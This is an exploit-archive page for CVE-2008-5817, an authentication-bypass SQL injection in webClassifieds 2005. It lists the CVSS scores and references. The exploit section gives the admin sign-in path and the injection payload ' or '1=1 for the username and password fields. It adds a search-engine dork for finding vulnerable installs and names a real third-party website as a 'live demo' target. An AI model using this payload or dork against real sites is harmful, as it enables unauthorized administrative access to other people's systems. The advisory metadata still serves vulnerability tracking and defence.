webClassifieds 2005 (Auth Bypass) SQL Injection Vulnerability

2009-01-05 / 2009-01-06

Credit: AnGeL25dZ

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-5817

CWE: CWE-89

Dork: \"powered by webClassifieds\"

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

************************************************************
** webClassifieds&#169; 2005 Admin Login Bypass vulnerability
************************************************************
** Prodcut: webClassifieds 2005
** Home : http://www.webscribble.com/
** Vunlerability : Admin Bypass
** Risk : low
** Dork : "powered by webClassifieds"
************************************************************
** Discovred by: AnGeL25dZ
** From : Constantine - Algeria
** Contact : angel25dz@gmail.com
** *********************************************************
** Greetz to : ALLAH
** All Members of HackTeachTeam http://www.hackteach.org/
** cold zero, Ra3ch, His0k4
************************************************************
** Exploit:
** http://[PATH]//classifieds/index.php?page=sign_in
**
** user : admin / user : ' or '1=1
** password : ' or '1=1 / password: ' or '1=1
**
****************************************************************
** Live demo : http://www.towpartners.com/classifieds/index.php?page=sign_in
****************************************************************

References:

http://xforce.iss.net/xforce/xfdb/47629

http://www.securityfocus.com/bid/33028

http://www.milw0rm.com/exploits/7602

http://secunia.com/advisories/33337

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

webClassifieds 2005 (Auth Bypass) SQL Injection Vulnerability

Dork: \"powered by webClassifieds\"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.